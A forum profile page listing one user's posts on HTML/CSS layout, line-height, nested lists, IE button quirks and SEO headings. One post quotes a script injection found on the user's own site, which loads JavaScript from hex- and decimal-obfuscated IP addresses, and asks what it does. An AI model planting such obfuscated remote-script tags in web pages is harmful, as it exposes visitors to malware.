Jump to content

clavin

User
  • Posts

    200
  • Joined

  • Last visited

  • Days Won

    2

Everything posted by clavin

  1. Это по низкочастотным запросам может быть такое. Сайтов в интернете очень много и их лучше оптимизировать под seo на этапе вёрстки.
  2. Задался вопросом можно ли быть профессиональным HTML-верстальщиком и профессиональным PHP программистом одновременно? Профессиональный верстальщик, на мой взгляд, должен хорошо верстать, а во-вторых, хорошо разбираться в javascript (уметь написать какой-нибудь код, знать также AJAX) и уметь работать с какой-нибудь одной javascript библиотекой. А PHP программист должен знать какую-нибудь CMS или фреймворк, без них быстро сайт не сделаешь. Есть ли люди, успешно и профессионально работающие (и делающие свою работу качественно) сразу в этих двух областях? Про себя я сказал бы, что есть желание работать многопрофильно и в вёрстке и в PHP, но в последнее время понимаю, что надо выбрать что-то одно.
  3. Это не бред. Сейчас чтобы продвинуть страницу надо внимательно относиться к тегам заголовков на странице. Тег <h1> должен быть один и в нём должны находится ключевые слова (заголовок всей страницы желательно), остальных может быть больше. Иначе такая страница будет не оптимизирована под ключевые слова
  4. Можно сделать таблицами А можно для шапки и футера сделать по два дива, растянуть их по ширине 100%, и им задать фоновые рисунки. То что внутри - отцентрировать по ширине так margin:0 auto;
  5. Может надо убрать пробелы между </li> <li>
  6. alert(document.getElementById('idname').style.width)
  7. Google Chrome ругается на сайт и говорит, что он содержит данные с другого сайта, содержащий вредоносный код. На самом сайте в конце главной страницы обнаружил следующий код: <script src=http://0x4d.0xf2.0x00.0x0c/ad.js></script></script> В шестнадцатеричном виде написан ip-сайта 77.242.0.12. Перейдя по ссылке и открыв файл с js-кодом увидел следующее: <script>document.write('<script src=http:\/\/5602672652\/.../><\/script>');</script> Оставим вопрос о том, что кто-то мог внедриться на сайт и внести в его страницы эту бяку. Интересует, чем этот код вреден и что плохого он может сделать?
  8. Может свойство scroll надо у фона убрать?
  9. IMHO наглядность отсутствует
  10. Насколько мне известно IE не поддерживает mime-тип файлов вроде application/xml, application/xhtml. Для него применяется один mime-тип text/html, отправляемый сервером браузеру. Может в этом дело.
  11. В общем годятся. Только вот... разве нет кроссбраузерного способа?
  12. <div id="ddd" style="line-height:20px;"> text text text </div> alert(document.getElementById('ddd').style.lineHeight); Если в примере выше убрать стили для id="ddd", то тогда в системном окне будет пустота. Как определить значение line-height у тега, если line-height не задаётся через стили, а наследуется от родителя, например тега body? На jQuery есть функция css('line-height'), которая выводит это значение (в некоторых браузерах даже normal выводит). И ещё тогда вопрос. Как определить реально установленный в браузере line-height для строки, если это свойство имеет значение "normal". Могу ли я получить не "normal", а число в пикселях, пунктах или ещё в чём-то конкретном и измеряемом. Спасибо.
  13. clavin

    Кнопка

    Cам рисунок кнопки должен быть таким, чтобы можно было соответствующую кнопку сделать. Рисунок у кнопки, как видно, фиксированный.
  14. Тему можно было и не открывать. Реализация font-size и line-height достаточно запутана во всех браузерах. Даже Eric Mayer ничего хорошего по этому поводу не написал. Шрифты приходится делать по наитию.
  15. vertical-align: baseline; это ставить надо, чтобы когда в текст вставлялось изображение, было понятно, как оно выровняется относительно базовой линии. Если будет с выравниванием что-то не так, что это значение меняется на другое и смотрится результат. Если исправлений не последовало, то значит дело не в выравнивании, а в другом месте.
  16. По скриншоту видно, что это не опера вовсе а Safari. Тогда надо воспользоваться встроенным инструментом для разработчиков этого браузера. Может что-то там можно бует увидеть неправильное.
  17. Проблема такого плана. Есть строка текста со шрифтами разных размеров. Например так: text <span>qwerty</span> Здесь текст в теге <span> может иметь отличный от остального теста font-size И Line-height. Выравнивание определено как vertical-align:baseline; Вот моя тестовая страница: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="Content-Language" content="ru" /> <meta http-equiv="Content-Style-Type" content="text/css" /> <title></title> <meta name="description" content="" /> <meta name="keywords" content="" /> <meta name="robots" content="index,follow" /> <link rel="icon" href="/favicon.ico" type="image/x-icon" /> <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" /> <link rel="stylesheet" media="all" type="text/css" href="" /> <style type="text/css" media="all">/*<![CDATA[*/ * { padding:0; margin:0; } html, body, div, span, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, cite, code, em, strong, img, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { border: 0; vertical-align: baseline; background: transparent; } a { cursor:pointer; } body { color:#000000; font-family:Arial, Helvetica, Verdana, sans-serif; font-variant:normal; font-weight:normal; font-size:16px; line-height:16px; background:#ffffff; } p { background:red; } p span { background:yellow; font-size:16px; line-height:16px; } p b { background:green; font-size:16px; line-height:16px; } /*]]>*/</style> </head> <body> <p>some text <span>ABCypq</span> <b>bold</b><br/> some text <span>ABCypq</span> <b>bold</b><br/> some text <span>ABCypq</span> <b>bold</b><br/> some text <span>ABCypq</span> <b>bold</b><br/> some text <span>ABCypq</span> <b>bold</b><br/></p> </body> </html> Высота красной области во всех браузерах равна 80px (line-height*5=80px, т.к. line-height=16px). В IE8 правда высота этой области равна 83 px почему-то. Мне не понятно, почему если уменьшить размер шрифта внутри span (например поставить font-size:10px), то высота красной области увеличивается, как будто я увеличиваю line-height у всей строки? p span { background:yellow; font-size:10px; line-height:16px; } Обратите внимание, что для текста задано vertical-align:baseline. Если задать, например, vertical-align:top, то высота красной области останется неизменной, но сам текст при этом будет прыгать над строкой и выглядеть не выровненным.
  18. Всё понятно. В ie7 при нажатии на кнопку посылается не значение внутри элемента "value", а то что расположено внутри тегов <button></button>
  19. Я протестировал IE7 так: <form method="get" action="2.html"> <button type="submit" name="but" value="123">кнопка</button> </form> Нажимаю на кнопку и происходит переход на нужную страницу, но без значения but=123. Javascript для такой простейшей задачи употреблять как-то не хочется.
  20. Таблицами такое делается. В центральную фиксированную ячейку загоняется весь контент, а в боковые вставляется картинка.
  21. Я что-то не понял... Если ie6, ie7 не поддерживают свойство "value" для тега <button>, то как вообще эти button можно применять? На сервер обычно в свойстве value вся информация посылается, а тут оказывается, что может и не послаться
  22. Great Rash, спасибо! Со списками запутался. Свойство list-style является наследуемым, поэтому задав его для ul, можно быть уверенным, что оно автоматически распространится и на li. С фоном это не так. Ещё раз спасибо, всё на свои места встало.
  23. Столкнулся с непонятным поведением списков <ul>, вложенных в другие списки. Вот тестируемый код: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="Content-Language" content="ru" /> <meta http-equiv="Content-Style-Type" content="text/css" /> <title></title> <meta name="description" content="" /> <meta name="keywords" content="" /> <meta name="robots" content="index,follow" /> <link rel="icon" href="/favicon.ico" type="image/x-icon" /> <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" /> <link rel="stylesheet" media="all" type="text/css" href="" /> <style type="text/css" media="all">/*<![CDATA[*/ * { padding:0; margin:0; } html, body, div, span, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, cite, code, em, strong, img, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { border: 0; vertical-align: baseline; background: transparent; } a { cursor:pointer; } body { color:#000000; font-family:Arial, Helvetica, Verdana, sans-serif; font-variant:normal; font-weight:normal; font-size:100%; background:#ffffff; } #mydiv {background:red; padding:30px;} #mydiv div {background:yellow; padding:30px; color:#fff;} #mydiv ul.spy { width:400px; background:maroon; color:red;} #mydiv ul.spy li {width:200px; background:lime;} #mydiv ul.spy li ul.spy2 {width:100px; background:blue;} /*]]>*/</style> </head> <body> <div id="mydiv"> <p>text</p> <div> <ul class="spy"> <li>item 1</li> <li>item 2 <ul class="spy2"> <li>item 3</li> <li>item 4</li> </ul> </li> </ul> </div> </div> </body> </html> как задавать свойства для вложенных в li других списков ul? Браузеры показывают (можно увидеть, например, firebug'ом), что стили для вложенного ul установлены, но на экране они не отображаются. В то же время, если задать стили так (добавить в конец li) #mydiv ul.spy li ul.spy2 li {width:100px; background:blue;} то на экране появляется синий фон.
  24. Автору топика следует уточнить, что за макет - фиксированный или резиновый. Если фиксированный, то там всё просто делается с помощью float.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. See more about our Guidelines and Privacy Policy